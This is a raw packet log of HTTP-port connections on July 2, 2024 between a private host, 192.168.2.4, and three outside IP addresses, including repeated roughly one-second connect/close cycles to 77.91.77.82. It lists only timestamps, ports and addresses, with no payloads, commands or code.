Jul 2, 2024 15:26:28.314415932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314472914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314493895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314507961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314517021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314523935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314533949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314548969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314565897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314830065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314841986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314857960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314867020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314872980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314893007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314934969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.315097094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.315118074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.315148115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.315161943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.351584911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351598978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351608992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351728916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351744890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351766109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351768970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.351780891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.351803064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.351803064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.351828098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352066994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352077007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352093935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352113008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352113008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352139950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352161884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352355957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352365971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352396965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352417946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352427959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352446079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352458954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352462053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352473974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.352487087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352504969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.352521896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353066921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353079081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353096008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353107929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353116989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353123903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353141069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353141069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353152990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353168011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353168964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353180885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353193998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353195906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353213072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353214025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353226900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.353230000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353255033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.353271008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354007959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354017973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354043961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354052067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354054928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354067087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354078054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354083061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354089022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354101896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354105949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354118109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354120016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354134083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354145050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354152918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354161978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354172945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354175091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354197979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354222059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.354950905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354963064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354980946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354990959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.354999065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355005026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355021000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355026007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355036974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355051994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355055094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355067015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355073929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355083942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355094910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355102062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355120897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355144978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355921984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355937004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355961084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355973005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.355990887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.355992079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356003046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356009960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356024027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356024027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356039047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356044054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356055975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356061935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356066942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356077909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356086969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356095076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.356096983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356113911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.356132030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:29.102243900 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:29.107199907 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:29.107306004 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:29.107472897 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:29.112170935 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:29.175860882 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:29.176182985 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:29.181055069 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:29.181586981 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:29.183711052 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:29.184788942 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:29.185020924 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:29.190115929 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:29.759938002 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:29.760010004 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:29.888072014 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:29.888204098 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.001184940 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.001422882 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.008590937 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.008671045 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.008771896 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.009305954 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.009362936 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.015233994 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.711710930 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.715626001 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.716363907 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:30.721225023 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.940413952 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:30.940490007 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.048166037 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.048583984 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.054131985 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.054148912 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.054203033 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.054233074 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.054375887 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.059494019 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.257875919 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:31.746891022 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.746958971 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.749185085 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:31.754056931 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.983277082 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:31.983465910 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.095021009 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.095392942 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.100392103 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:32.100503922 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.100641966 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.100725889 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:32.100788116 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:32.105664968 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.373068094 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.373183966 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.373239994 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.373298883 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.373531103 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.373569012 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.373975039 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.379010916 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.657263041 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.657416105 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.766685009 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.766984940 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.771851063 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.771975040 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.772011995 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:33.772068977 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.772275925 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:33.777084112 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.476087093 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.476286888 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.477344990 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.482234955 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.699533939 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.699736118 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.815994978 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.816356897 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.821899891 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.822002888 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.822191000 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.822531939 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:34.822590113 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:34.827017069 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.553328991 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.553385973 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.554107904 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.559083939 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.782694101 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.782793045 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.891755104 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.892142057 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.896946907 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.897001982 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:35.897052050 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.897087097 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.897228956 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:35.902609110 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.610827923 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.610970020 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.611825943 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.616758108 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.842565060 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.842715979 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.954766035 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.955224991 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.960434914 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.960583925 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.960827112 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.960916996 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:36.960978985 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:36.965810061 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:37.665492058 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:37.665627956 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:37.666557074 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:37.671298027 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:37.888137102 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:37.888201952 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.001065016 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.001441956 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.006376982 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.006397963 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.006486893 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.006486893 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.006611109 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.011393070 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.714437008 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.714550018 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.715316057 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:38.725153923 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.937530994 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:38.937627077 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.048048973 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.048465014 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.053349972 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.053411007 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.053441048 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.053484917 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.053606987 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.058315992 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.751368999 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.751427889 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.752366066 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:39.757191896 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.973345995 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:39.973510981 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.079557896 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.079859018 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.084887981 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:40.085027933 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.085211039 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:40.085304022 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.085328102 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.090104103 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:40.791477919 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:40.793690920 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.794414043 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:40.799299002 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.013000965 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.015110016 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.126259089 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.126797915 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.131498098 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.131541014 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.131591082 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.131656885 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.131889105 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.136995077 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.874547005 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:41.874764919 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.879684925 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:41.884661913 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.103909969 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.104157925 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.227830887 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.228574991 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.232985020 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.233074903 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.233390093 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.233464003 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.234647036 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.239439011 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.937889099 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:42.938030005 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.938848019 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:42.943828106 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.162965059 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.163074017 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.272638083 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.273001909 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.277839899 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.277926922 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.278848886 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.278924942 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.279093027 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.284408092 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.978636980 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:43.978887081 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.979871988 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:26:43.984929085 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 2, 2024 15:26:44.204168081 CEST	80	49759	77.91.77.82	192.168.2.4
